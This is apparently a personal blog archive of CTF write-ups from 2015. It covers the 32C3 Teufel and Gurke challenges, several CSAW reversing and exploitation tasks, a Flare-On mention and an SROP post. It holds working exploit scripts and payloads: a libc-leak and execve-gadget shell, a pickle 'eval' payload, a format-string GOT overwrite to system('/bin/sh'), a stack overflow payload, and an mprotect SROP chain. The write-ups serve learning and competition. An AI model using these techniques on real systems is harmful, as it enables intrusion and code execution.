Thursday, December 31, 2015

32C3 CTF - Pwn 200 - Teufel

The binary allocates memory using mmap as below:
mmap(NULL, 12288, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7ffff7ff3000
And then 4096 bytes is given R+W permission:
mprotect(0x7ffff7ff4000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(mmap_addres+4096, 4096, PROT_READ|PROT_WRITE) = 0
Then stack pointer is set to address as mmap_address+8192. The function at 0x004004E6, allocates a stack as RSP-8 along with saved RIP and RBP. After this there are couple of read calls, first one reading bytes used as count parameter for second read call.
.text:00000000004004EE mov     edi, 0          ; fd
.text:00000000004004F3 lea     rsi, [rbp+buf]  ; buf
.text:00000000004004F7 mov     edx, 8          ; nbytes
.text:00000000004004FC call    _read

.text:0000000000400507 mov     edi, 0          ; fd
.text:000000000040050C lea     rsi, [rbp+buf]  ; buf
.text:0000000000400510 mov     rdx, [rbp+buf]  ; nbytes
.text:0000000000400514 call    _read
This leaves us with option to overwrite saved RIP, but very less amount of data could be written ie. 24 bytes. There is also an info leak due to puts, which prints data till NUL byte
.text:000000000040051F lea     rdi, [rbp+buf]  ; s
.text:0000000000400523 call    _puts
Below is the idea for info leak to get mmap and libc address:

[*] Trigger info leak using puts call, to get address of mmap area by leaking saved RBP
[*] Overwrite saved RBP with address of GOT entry of libc function
[*] Overwrite saved RIP to return again to puts call@0040051F. This will dump both mmap and libc address in one execution

Since the offset between libc and mmap remains fixed, we can calculate this using above info leak. Next to execute code I looked for single gadget call to execve in the provided libc
.text:00000000000F6950 loc_F6950:                              ; CODE XREF: sub_F6260+661
.text:00000000000F6950                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F6957                 jmp     short loc_F6911

.text:00000000000F6911 loc_F6911:                              ; CODE XREF: sub_F6260+6F7
.text:00000000000F6911                 mov     rdx, [rbp+var_F8]
.text:00000000000F6918                 mov     rsi, r8
.text:00000000000F691B                 call    execve
Among the few available gadgets for execve call, the above one doesn't use RSP for memory reference and hence we can safely use in exploit. RBP is controlled due to overflow and r8 is set to 0 due to program state during crash, thus making a call execve("/bin/sh", 0, 0). Below is the exploit:
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = ''
port = 666

# from the provided libc
offset_exit = 0x00000000000cafe0

got_exit = 0x00600FD0

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

# get address of libc
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", got_exit + 8) # leak got entry of _exit
payload += struct.pack("<Q", 0x0040051F) # address to puts call

libc_exit = soc.recv(128).strip() + chr(0)*2
libc_exit = struct.unpack("<Q", libc_exit)[0]
print 'Address of exit : %s' % hex(libc_exit)

libc_base = libc_exit - offset_exit
print 'Address of libc base : %s' % hex(libc_base)

mmap_to_libc = RBP - libc_base
print 'Address offset : %s' % hex(mmap_to_libc)
Address of mmap : 0x7f30435c6000
Address of exit : 0x7f30430a6fe0
Address of libc base : 0x7f3042fdc000
Address offset : 0x5ea000
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = ''
port = 666

offset_libc_base = 0x5ea000
offset_execve = 0x0F6950

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

libc_base = RBP - offset_libc_base
execve = libc_base + offset_execve

# get shell
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", 0x00600800) # RBP pointing to NULL
payload += struct.pack("<Q", execve)

s = telnetlib.Telnet()
s.sock = soc
# 32C3_mov_pop_ret_repeat
Flag for the challenge is 32C3_mov_pop_ret_repeat

32C3 CTF - Misc 300 - Gurke

This challenge is about python pickle. The remote script fetches the flag as below:
class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("", 1234))
        self.flag = s.recv(1024).strip()
flag = Flag()
Once the Flag class is instantiated, seccomp is used to restrict many of syscalls eg. socket calls used in Flag class won't work
f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
f.add_rule_exactly(ALLOW, "close")
f.add_rule_exactly(ALLOW, "exit_group")

f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
f.add_rule_exactly(ALLOW, "stat")
f.add_rule_exactly(ALLOW, "lstat")
f.add_rule_exactly(ALLOW, "lseek")
f.add_rule_exactly(ALLOW, "fstat")
f.add_rule_exactly(ALLOW, "getcwd")
f.add_rule_exactly(ALLOW, "readlink")
f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
f.add_rule_exactly(ALLOW, "munmap")
But since the flag is already present in the scope of __main__, we can fetch it using the below pickle payload
class payload(object):
    def __reduce__(self):
        return (eval, ("__import__('__main__').flag.flag",))

sploit = pickle.dumps(payload())
Flag for the challenge is 32c3_rooDahPaeR3JaibahYeigoong

Thursday, October 22, 2015

FireEye Second Flare-On Reversing Challenges

My solutions for Flare-On reversing challenges is here

FireEye published some statistics in there blog
- Official Solutions and Winner Statistics
- Announcing the Second FLARE On Challenge

And this is what I got as prize from FLARE team

Wednesday, September 23, 2015

CSAW CTF - RE500 - wyvern

We got a 64-bit ELF for this challenge. Running strings shows the use of Obfuscator-LLVM
Obfuscator-LLVM clang version 3.6.1 (tags/RELEASE_361/final) (based on Obfuscator-LLVM 3.6.1)
The binary expects a valid key!
$ ./wyvern_c85f1be480808a9da350faaa6104a19b 
|    Welcome Hero       |

[!] Quest: there is a dragon prowling the domain.
 brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret:
For further analysis, I used PIN based tracer. First objective was to find the length. Supplying an input of 100 bytes, the CMP instruction was found using PIN
0x4046b6 : cmp rax, rcx
0x4046b6 : [0x64] [0x1c]
The length of key is 28 bytes. Now lets see if we could find the algorithm by tracking user input using PIN tool. Supplying input as BAAAAAAAAAAAAAAAAAAAAAAAAAAA, below instructions were found:
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0] := [0x42]      -> input B
0x402a7f : cmp eax, ecx
0x402a7f : [0x64] [0x42]      -> compared with 0x64
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0x64] := [0xa5]   -> input A and 0x64 from previous operation
0x402a7f : cmp eax, ecx       
0x402a7f : [0xd6] [0xa5]
So the algorithm reads each byte of user input, compares with a hard coded array, which is a sum input and previous result
0x00 + input[0] == 0x64
0x64 + input[1] == 0xd6
Lets fetch the array using GDB by setting breakpoint at 0x402a7f, and compute the flag
import gdb

sum_array = [0]
def exit_handler(event):
    key = ''
    for i in range(len(sum_array)-1):
        key += chr(sum_array[i+1] - sum_array[i]) 
    print key
def callback_fetch_array():
    EAX = int(gdb.parse_and_eval("$eax"))
    gdb.execute("set $ecx = $eax")

class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False)
        self.callback = callback
    def stop(self):
        return False

HitBreakpoint("*0x402a7f", callback_fetch_array)
$ gdb -q ./wyvern_c85f1be480808a9da350faaa6104a19b

gdb-peda$ source
Breakpoint 1 at 0x402a7f

gdb-peda$ run

[+] A great success! Here is a flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAA}
[Inferior 1 (process 33655) exited normally]
So the key is dr4g0n_or_p4tric1an_it5_LLVM


The challenge binary is a 64 bit executable. The objective was to login as user blankwall by finding the password. The supplied password is processed using a hash function at 0x00401540. Below is the decompiled code of the function:
uint32_t calc_hash(char *input)
  int counter; 
  uint32_t state; 

  state = 5381;
  for (counter = 0; input[counter]; ++counter)
    state = 33 * state + input[counter];
  return state;
The output of this function must be equal to 0x0D386D209. The length of the password is not known and state variable is 32-bit, hence modulo 0xffffffff. I used Z3 to solve this and multiple solutions are possible. Below is the solver:
#!/usr/bin/env python

from z3 import * 

# >>> (0x1505 * 0x21 * 0x21 * 0x21) < 0xD386D209
# True
# minimum length of password
passlen = 4

def init_solver(passlen):
    s = Solver()
    vectors = {}
    for c in range(passlen):
        vec = BitVec(str(c), 8)
        vectors[c] = vec
        s.add(And(0x20 < vec, vec < 0x7F))
    return s, vectors

while True:
    s, vectors = init_solver(passlen)
    state = 0x1505 
    for i in range(passlen):
        vec = ZeroExt(24, vectors[i])
        state = state * 0x21 + vec
    s.add(state == 0xD386D209)

    if s.check() == sat: break
    passlen += 1

m = s.model()
c = lambda m, i: chr(m[vectors[i]].as_long())
print ''.join([c(m,i) for i in range(passlen)])
This gives the password UIcy1y. Login using the password as
con.write('USER blankwall' + chr(0xa))
password = 'PASS UIcy1y\x00' + chr(0xa)
The file re_solution had the flag, flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}

CSAW CTF - RE200 - Hacking Time

For this challenge we got a NES ROM to reverse engineer.
HackingTime_03e852ace386388eb88c39a02f88c773.nes: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]
I used FCEUX emulator to run the ROM file. The game asks for a password after few messages

The ROM memory could be viewed using Hex viewer, provided as part of FCEUX debug tools. I supplied a password ABCDABCDABCDABCDABCDABCD and found this is memory

Then set read memory access breakpoint for address 0x5 i.e. first byte of string. Now on continuing the game, the breakpoint is hit

The program counter is at 0x82F7, so we know what part of code to analyze. Then I found the Nintendo Entertainment System (NES) ROM loader module for IDA Pro, for analyzing the challenge ROM.
ROM:82F1 algorithm:                              ; CODE XREF: main_function+1C7
ROM:82F1                 LDY     #0
ROM:82F3                 LDA     #0
ROM:82F5                 STA     VAL
ROM:82F7 process_loop:                           ; CODE XREF: algorithm+44
ROM:82F7                 LDA     5,Y             ; LDA INPUTKEY,A
ROM:82FA                 TAX                     ; X = A
ROM:82FB                 ROL     A               ; ROL A,1
ROM:82FC                 TXA                     ; A = X
ROM:82FD                 ROL     A               ; ROL A, 1
ROM:82FE                 TAX                     ; X = A
ROM:82FF                 ROL     A               ; ROL A, 1
ROM:8300                 TXA                     ; A = X
ROM:8301                 ROL     A               ; ROL A,1
ROM:8302                 TAX                     ; X = A
The PC 0x82F7, takes us to the actual validation algorithm used. The algorithm processes one byte at a time using multiple rotate operations and couple of XOR's with hardcoded arrays values. Good reference to instruction set is found here. The algorithm was rewritten in python and bruteforce gave the solution
import string

CHECKA = [0x70, 0x30, 0x53, 0xa1, 0xd3, 0x70, 0x3f, 0x64, 0xb3, 0x16,
          0xe4, 0x04, 0x5f, 0x3a, 0xee, 0x42, 0xb1, 0xa1, 0x37, 0x15,
          0x6e, 0x88, 0x2a, 0xab]
CHECKB = [0x20, 0xac, 0x7a, 0x25, 0xd7, 0x9c, 0xc2, 0x1d, 0x58, 0xd0,
          0x13, 0x25, 0x96, 0x6a, 0xdc, 0x7e, 0x2e, 0xb4, 0xb4, 0x10,
          0xcb, 0x1d, 0xc2, 0x66, 0x3b]

CF = 0
def ROR(REG): 
    global CF
    if CF: REG |= 0x100
    CF = REG & 1
    REG  >>= 1
    return REG
def ROL(REG):
    global CF
    REG <<= 1
    if CF: REG |= 1
    CF = 1 if (REG > 0xFF) else 0
    return REG & 0xFF

ADDR_3B = 0
KEY = ''

for Y in range(24):
    for A in string.uppercase+string.digits:
        C = A
        VAL_3B = ADDR_3B
        A = ord(A)  # ROM:82F7                 LDA     $5,Y  
        X = A       # ROM:82FA                 TAX
        A = ROL(A)  # ROM:82FB                 ROL     A
        A = X       # ROM:82FC                 TXA
        A = ROL(A)  # ROM:82FD                 ROL     A
        X = A       # ROM:82FE                 TAX 
        A = ROL(A)  # ROM:82FF                 ROL     A
        A = X       # ROM:8300                 TXA   
        A = ROL(A)  # ROM:8301                 ROL     A 
        X = A       # ROM:8302                 TAX     
        A = ROL(A)  # ROM:8303                 ROL     A
        A = X       # ROM:8304                 TXA      
        A = ROL(A)  # ROM:8305                 ROL     A
        STACK = A   # ROM:8306                 PHA 
        A = VAL_3B  # ROM:8307                 LDA     ROLL 
        X = A       # ROM:8309                 TAX
        A = ROR(A)  # ROM:830A                 ROR     A 
        A = X       # ROM:830B                 TXA  
        A = ROR(A)  # ROM:830C                 ROR     A
        X = A       # ROM:830D                 TAX  
        A = ROR(A)  # ROM:830E                 ROR     A
        A = X       # ROM:830F                 TXA 
        A = ROR(A)  # ROM:8310                 ROR     A
        VAL_3B = A  # ROM:8311                 STA     ROLL
        A = STACK   # ROM:8313                 PLA
        CF = 0      # ROM:8314                 CLC 
        A = (A + VAL_3B) & 0xFF # ROM:8315     ADC     ROLL
        A = A ^ CHECKA[Y]   # ROM:8317     EOR     $955E,Y
        VAL_3B = A  # ROM:831A                 STA     ROLL
        X = A       # ROM:831C                 TAX 
        A = ROL(A)  # ROM:831D                 ROL     A
        A = X       # ROM:831E                 TXA
        A = ROL(A)  # ROM:831F                 ROL     A
        X = A       # ROM:8320                 TAX
        A = ROL(A)  # ROM:8321                 ROL     A
        A = X       # ROM:8322                 TXA
        A = ROL(A)  # ROM:8323                 ROL     A 
        X = A       # ROM:8324                 TAX
        A = ROL(A)  # ROM:8325                 ROL     A
        A = X       # ROM:8326                 TXA
        A = ROL(A)  # ROM:8327                 ROL     A
        X = A       # ROM:8328                 TAX    
        A = ROL(A)  # ROM:8329                 ROL     A 
        A = X       # ROM:832A                 TXA      
        A = ROL(A)  # ROM:832B                 ROL     A
        A = A ^ CHECKB[Y]   # ROM:832C         EOR     $9576,Y
        if A == 0:
            KEY += C
            ADDR_3B = VAL_3B
            VAL_3B = 0
print KEY

CSAW CTF - Exploitables300 - FTP

This is a continuation of Reversing 300 challenge. The goal is to read the flag file. But the binary has a protection, if filename has 'f' character, then the request is considered invalid. This invalid character 'f' used for comparison is saved as part of bss memory, hence writeable.

There were few bugs in this binary

[*] Buffer overflow in password handling function @ 0x040159B. Input buffer is copied into stack till space character
password_sz = strlen(pass_command);
for ( i = 0; *pass_command != ' ' && password_sz-1 >= i; ++i )
    c = pass_command++;
    command[i] = *c;                            
USER blankwall
Please send password for user blankwall
login with USER PASS
[0x4017c5] __stack_chk_fail(4, 0x403086, 21, -1*** stack smashing detected ***: ./ftp_0319deb1c1c033af28613c57da686aa7 terminated
 <no return ...>
[pid 34300] [0x7ffff7a4bcc9] --- SIGABRT (Aborted) ---
[pid 34300] [0xffffffffffffffff] +++ killed by SIGABRT +++
[*] Buffer overflow in command handling function @ 0x00402673, same as password handling function
memset(command, 0, 128);

command_sz = strlen(command_string);
for ( i = 0; *command_string != ' ' && command_sz-1 >= i; ++i )
   c = command_string++;
   command[i] = *c;                        
[*] Arbitrary NUL write when handling STOR command @ 0x00401DF9. Amount of bytes received is not checked and used as index for string termination
while (1)
    bytes_read = recv(socket, file_information, 10, 0);
    total_size += bytes_read;

file_information[total_size] = 0;
file_information buffer resides above invalid character buffer, hence could be used to toggle off the invalid charcacter byte.
.bss:0000000000604408 invalid_character dd ?  
RAX: 0x208
=> 0x401ee0: mov    BYTE PTR [rax+0x604200],0x0

gdb-peda$ x/x 0x604200+0x208
0x604408: 0x0000000000000066
[*] The file_information buffer is used in couple of other functions like LIST and RETR, which could also overwrite the invalid character byte.
Direction Type Address         Text                                     
--------- ---- -------         ----                                     
          o    LIST:loc_401BAD mov     [rbp+s], offset file_information 
Down      o    LIST+26F        mov     esi, offset file_information     
Down      o    STOR+8F         mov     esi, offset file_information; buf
Down      w    STOR+E7         mov     ds:file_information[rax], 0      
Down      o    RETR+134        mov     edi, offset file_information; ptr
Down      o    RETR+158        lea     rsi, file_information[rax]; buf  
Flag for the challenge is flag{exploiting_ftp_servers_in_2015}

CSAW CTF - Exploitables250 - contacts

This again is a 32-bit ELF. The binary maintain user contacts as 80 byte records as part of bss memory, starting from address 0804B0A0. It is possible to save maximum of 10 contacts. This is what the structure looks like
struct contact {
    char *description;
    char *phonenumber;
    char name[64];
    int desc_size;
    int inuse;
First vulnerability resides in edit contact feature, where size parameter of fgets seems to be uninitialized and taking large value. This can overflow into adjacent structures in bss memory.
.text:08048A4E mov     edx, ds:stdin
.text:08048A54 mov     eax, [ebp+size]
.text:08048A57 mov     ecx, [ebp+contact]
.text:08048A5A add     ecx, 8
.text:08048A5D mov     [esp+8], edx    ; stream
.text:08048A61 mov     [esp+4], eax    ; n
.text:08048A65 mov     [esp], ecx      ; s
.text:08048A68 call    _fgets        
printf("New name: ");
fgets(contact->name, size, stdin);          
Next bug is a format string vulnerability in display contact feature:
is_inuse = contact->inuse;
if (is_inuse)
     PrintDetails(contact->name, contact->desc_size, contact->phonenumber, contact->description);

int PrintDetails(char *name, int size, char *phonenumber, char *description)
  printf("\tName: %s\n", name);
  printf("\tLength %u\n", size);
  printf("\tPhone #: %s\n", phonenumber);
  printf("\tDescription: ");
Now lets use format string vulnerability to get code execution. Remember, there is not much control of data placed in stack. So we need to find ways to place necessary pointers in stack and use the format string vulnerabilty to perform arbitrary memory overwrite.

Exploit details:

[*] Trigger info leak using format string
[*] At index 6$ and 18$, resides two saved EBP pointers. Use these pointers to write GOT address of free() into stack
GOT address of free = 0x0804b014
>>> 0xb014
>>> 0x0804

FRAME0EBP   FRAME1EBP+0 ---> GOT_FREE # write 2 LSB bytes of GOT
payload = '%.' + str(45076) + 'u%18$hn'

FRAME0EBP-->FRAME1EBP+2   # update FRAME1EBP address using FRAME0EBP
address = (FRAME1EBP+2) & 0xFFFF
payload = '%.' + str(address) + 'u%6$hn'

FRAME0EBP   FRAME1EBP+2 ---> GOT_FREE # write 2 MSB bytes of GOT 
payload = '%.' + str(2052) + 'u%18$hn'
[*] Read the GOT entry of free, to leak libc address
payload = "%30$s"
[*] Then overwrite GOT of free with address to system
# writes 2 LSB bytes of address
system = (libc_base_address + system_offset) & 0xFFFF
payload = '%.' + str(system) + 'u%30$hn'
Update GOT address in stack to point to MSB bytes
payload = '%.' + str(45078) + 'u%18$hn'
# writes 2 MSB bytes of address
system = ((libc_base_address + system_offset) & 0xffff0000) >> 16
payload = '%.' + str(system) + 'u%30$hn'
[*] Create a contact with /bin/sh\x00 as description

[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")

Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}

CSAW CTF - Exploitables100 - precision

Given 32-bit ELF reads user input using scanf("%s", &buf), resulting in buffer overflow. Just before returning, it does a floating point comparison
.text:08048529                 fld     ds:floating_num
.text:0804852F                 fstp    [esp+0A0h+check]

.text:08048596                 fld     [esp+0A0h+check]
.text:0804859D                 fld     ds:floating_num
.text:080485A3                 fucomip st, st(1)
.text:080485A5                 fstp    st
.text:080485A7                 jz      short ret
The floating point number is a 64 bit value, which acts as a cookie. Since this value is hardcoded, just fetch it and use it during overwrite
gdb-peda$ x/gx 0x08048690
0x8048690: 0x40501555475a31a5
So contruct a payload like below, to control EIP
payload  = "A" * 128
payload += struct.pack("<Q", 0x40501555475a31a5)
payload += "A"*12 
payload += struct.pack("<I", EIP)
Flag is flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

Monday, July 13, 2015


The 32bit ELF is a self modyfing code. So I decided to use PIN for futher analysis.
$ pin -t obj-ia32/ -- ./re350 flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0}

0x80488f8 : cmp eax, 0x21
0x80488f8 : [0x21] [0x21]
$ ltrace -i ./re350 flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0}
[0x80488f5] strlen("flag{ABCDEFGHIJKLMNOPQRTSUVWXYZ0"...) = 33
Length of flag is 33 bytes
Once the length is know, lets search for other interesting stuffs from the PIN trace
0x8048a84 : cmp ebx, eax
0x8048a84 : [0x41] [0x70]  -> A is compared with p
$ pin -t obj-ia32/ -- ./re350 flag{pBCDEFGHIJKLMNOPQRTSUVWXYZ0}

0x8048a96 : cmp eax, dword ptr [ebp-0x10]
0x8048a96 : [0x1] [0x6]
0x8048a84 : cmp ebx, eax
0x8048a84 : [0x70] [0x70]  -> p is a valid comparison 
0x8048a96 : cmp eax, dword ptr [ebp-0x10]
0x8048a96 : [0x2] [0x6]
0x8048a84 : cmp ebx, eax   -> B is compared to a
0x8048a84 : [0x42] [0x61]
The first 6 unknown bytes are compared directly, which could be retrieved as 'packer'. Going further we could see this:
0x804892f : cmp ebx, eax
0x804892f : [0x16] [0x21]
0x8048953 : xor eax, ecx
0x8048953 : [0x50] [0x10] := [0x40]
0x804896f : cmp al, byte ptr [ebp-0xe]
0x804896f : [0x40] [0x51]
User supplied 'P' ^ 0x10 == User supplied 'Q'. On futher analysis, the algo looks like this
key[20] ^ 0x10 == key[21]
key[21] ^ 0x44 == key[22]
key[31] ^ 0x00 == key[32]
There are multiple inputs which satisfies these constraints. Using Z3 one can quickly find all the ascii printables satisfying the condition. Below is the solver:

#!/usr/bin/env python

from z3 import *

def get_models(s):
    # from 0vercl0k's
    while s.check() == sat:
        m = s.model()
        yield m
        s.add(Or([sym() != m[sym] for sym in m.decls()]))

s = Solver()
a, b, c, d, e, f, g, h, i, j, k, l = BitVecs('a b c d e f g h i j k l', 8)

# ascii printables
s.add(And(0x20 < a, a < 0x7f))
s.add(And(0x20 < b, b < 0x7f))
s.add(And(0x20 < c, c < 0x7f))
s.add(And(0x20 < d, d < 0x7f))
s.add(And(0x20 < e, e < 0x7f))
s.add(And(0x20 < f, f < 0x7f))
s.add(And(0x20 < g, g < 0x7f))
s.add(And(0x20 < h, h < 0x7f))
s.add(And(0x20 < i, i < 0x7f))
s.add(And(0x20 < j, j < 0x7f))
s.add(And(0x20 < k, k < 0x7f))
s.add(And(0x20 < l, l < 0x7f))

# from PIN trace
s.add(a ^ 0x10 == b)
s.add(b ^ 0x44 == c)
s.add(c ^ 0x07 == d)
s.add(d ^ 0x43 == e)
s.add(e ^ 0x59 == f)
s.add(f ^ 0x1c == g)
s.add(g ^ 0x5b == h)
s.add(h ^ 0x1e == i)
s.add(i ^ 0x19 == j)
s.add(j ^ 0x47 == k)
s.add(k ^ 0x00 == l)

for m in get_models(s):
    serial = [m[a].as_long(), m[b].as_long(), m[c].as_long(), m[d].as_long(),
       m[e].as_long(), m[f].as_long(), m[g].as_long(), m[h].as_long(),
       m[i].as_long(), m[j].as_long(), m[k].as_long(), m[l].as_long()]
    key = ''
    for _ in serial: key += chr(_)
    print key

# probable solution =-in-th3-4ss
The most matching characters looked like '=-in-th3-4ss'. Thats 12 bytes of flag. Now we have flag{packerXXXXXXXXX=-in-th3-4ss}. After this, there wasn't much details in the trace file [I didn't trace floating point operations]. We need to find how the middle part of flag is validated

The ltrace had few calls to pow() function. Lets see, if there is anything related to this. Self modyfing code might cause issue with breakpoints.
2681 [0x80487b3] pow(0, 0x40180000, 0, 0x40080000)                                      = 1
2681 [0x80487e0] pow(0, 0x40180000, 0, 0x40000000)                                      = 1
2681 [0x8048843] pow(0, 0x40000000, 0, 0x40504000)                                      = 1
gdb-peda$ break *0x8048843
Breakpoint 1 at 0x8048843

gdb-peda$ run flag{packerAAAAAAAAA=-in-th3-4ss}

gdb-peda$ generate-core-file
Now, lets analyze the core. Function at 0x08048AA5 has some 7 checks. With little debugging one can find the 5th check is the one that validates the missing parts of flag

.text:08048B67 push    eax
.text:08048B68 push    26h
.text:08048B6D push    offset check_five
.text:08048B72 call    call_mprotect
.text:08048B77 add     esp, 10h
.text:08048B7A add     [ebp+check_count], eax
.text:08048B7D mov     eax, [ebp+arg]  
check_five validates key[11] - key[21]. It futher calls a function 0x08048813 to perform some floating point operations. The return value of the floating point operation is compared to validate the flag. Note that the comparison is done sequentially. So for each valid byte, more code is executed. One can use PIN to count instructions and check if a byte is valid or not.

.text:080489F9                 push    offset floating_point
.text:080489FE                 call    call_mprotect
.text:08048A03                 add     esp, 20h
.text:08048A06                 test    eax, eax
.text:08048A08                 jnz     short success   ; flag byte passes first check
.text:08048A0A                 mov     eax, 0          ; failure - invalid flag byte
.text:08048A0F                 jmp     short ret
.text:08048A11 ; ---------------------------------------------------------------------------
.text:08048A11 success:                                ; CODE XREF: check_five+5Fj
.text:08048A11                 mov     eax, [ebp+flag]
.text:08048A14                 add     eax, 17
.text:08048A17                 movzx   eax, byte ptr [eax]
.text:08048A1A                 movsx   eax, al
.text:08048A1D                 and     eax, 1
.text:08048A20                 test    eax, eax
.text:08048A22                 jnz     short inc ; flag byte [17] passes second check
.text:08048A24                 mov     eax, 0
.text:08048A29                 jmp     short ret
.text:08048A2B ; ---------------------------------------------------------------------------
.text:08048A2B inc:                                    ; CODE XREF: check_five+79j
.text:08048A2B                 add     [ebp+counter], 1
.text:08048A2F loop:                                   ; CODE XREF: check_five+25j
.text:08048A2F                 cmp     [ebp+counter], 0Ah
.text:08048A33                 jle     short loop_body
.text:08048A35                 mov     eax, 1
.text:08048A3A ret:                                    ; CODE XREF: check_five+66j
.text:08048A3A                                         ; check_five+80j
Using these information retrieve other bytes. Make sure to count only instructions from main executable.
#!/usr/bin/env python

import subprocess

start = "flag{packer"
end   = "=-in-th3-4ss}"

for c in range(33, 127):
    trial = start + chr(c) + "A"*8 + end
    msg = subprocess.check_output(['pin', '-t', 'obj-ia32/', '--' , './re350', trial])
    count = msg.strip()[-3:]
    print chr(c), count
$ python

* 774
+ 774
, 774
- 825
. 774
/ 774
0 774
1 774
2 774
We choose '-' as valid input. The binary accepts multiple solutions. One may have to manually pick up chars to get a meaningful key. If count is same for all possible chars at a particular index, it could be that all chars are valid. Finally, flag for the challenge is
$ ./re350 flag{packer-15-4-?41=-in-th3-4ss}
You got the flag: flag{packer-15-4-?41=-in-th3-4ss}
I arrived at this solution few minutes after the CTF ended :D


This is a 32 bit binary which validates a key. Removing the dead codes, this is what the algorithm looks like:
    for (size_t i = 0; i < 0xF; i++) {
        if (key[i] < 'a') key[i] = transform(key[1] & 1);
        if (key[i] > 'z') key[i] = transform(key[1] & 2);
        dec[i] = transform(key[i]);
        if (dec[i] != 0xCF && dec[i] > 0xCC) flag = true; 

    if (flag) return 0;

    for (size_t i = 1; i < 0xF; i++) {
        if (dec[i] - dec[i-1] != diff_array[i]) return 0;

    return transform(key[0]) == 'b';
So the key length is 15 bytes. The first byte of key is transformed to 'b'. The function at 0x08048519 takes single byte as input and gives a single byte output. Considering all ascii small letters as input, one can create transformation table. If that doesn't work, assume key[1] value and build table for ascii printables under transform(0), transform(1) or transform(2)

Below is the solution:

int8_t flag[16] = {0};
int8_t table[256][1] = {0};

int main(int argc, char **argv)
    for (size_t c = 97; c <= 122; c++)
        table[transform(c)][0] = c;

    flag[0] = table['b'][0];

    for (size_t i = 0; i < 14; i++)
        flag[i+1] = table[table[flag[i]][0] + diff_array[i]][0];

    printf("%s\n", flag);
    return 0;
Flag for the challenge is flag{onetwotheflagyo}. Full source is found here

Saturday, June 20, 2015

Fun with SROP Exploitation

This post is regarding another solution for the same problem mentioned in Return to VDSO using ELF Auxiliary Vectors. So the idea here is to exploit a tiny binary remotely using SigReturn Oriented Programming (SROP) without info leak or bruteforce. Below is the challenge code:
section .text

global _start

    sub esp, 8
    mov eax, 3  ; sys_read
    xor ebx, ebx ; stdin
    mov ecx, esp ; buffer
    mov edx, 1024 ; size
    int 0x80
    add esp, 8
    call vuln
    xor eax, eax
    inc eax  ; sys_exit
    int 0x80
The binary is not a PIE but with ASLR and NX enabled. 12 bytes will overwrite the saved EIP. We will have to make the target binary read 0x77 bytes from the socket so that EAX is set to make sigreturn syscall. Once delivering sigreturn we can load all the registers with user controlled data.

We cannot make a execve syscall directly since /bin/sh string is not available in known address. Also, there is no .bss/.data section to read data into it and pivot the stack for chaining a ROP sequence. Stack needs to be pointed to some controlled address.

Make .text segment RWX using mprotect

The idea is to change the permission of text segment by calling mprotect(0x08048000, 0x1000, 7). This makes the .text segment RWX. For delivering this syscall, EIP is pointed to gadget int 0x80 ;add esp, 8; ret. The fake frame for SIGRETURN syscall needs a ESP value, this ESP value will be used when executing 'ret' instruction. But where to point the ESP.

Pivoting stack into ELF header

ELF header has the program entry point. We can point ESP right at the address holding the program entry point.
gdb-peda$ x/8wx 0x8048000
0x8048000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8048010: 0x00030002 0x00000001 0x08048077 0x00000034
set ESP to 0x8048010 such that add esp, 8; ret takes the value 0x8048077 into EIP, which means we can replay our program but with stack at a fixed address. When the program executes again from entry point, the code segment itself gets overwritten as data is read into text segment during the read syscall ie read(0, .text segment, 1024). Our shellcode executes when the read syscall returns. Below is the solution:
#!/usr/bin/env python

import struct
import telnetlib
from Frame import SigreturnFrame

ip = ''
port = 8888
page_text_segment = 0x08048000
INT_80 = 0x08048071

con = telnetlib.Telnet(ip, port)

frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", SYS_MPROTECT)
frame.set_regvalue("ebx", page_text_segment)
frame.set_regvalue("ecx", 0x1000)
frame.set_regvalue("edx", 0x7)
frame.set_regvalue("ebp", page_text_segment)
frame.set_regvalue("eip", INT_80)
frame.set_regvalue("esp", page_text_segment+16) # points into ELF header, setting it up as fake frame
frame.set_regvalue("cs", 0x73)
frame.set_regvalue("ss", 0x7b)

payload  = "A" * 8
payload += struct.pack("<I", INT_80)            # Overwrite Saved EIP
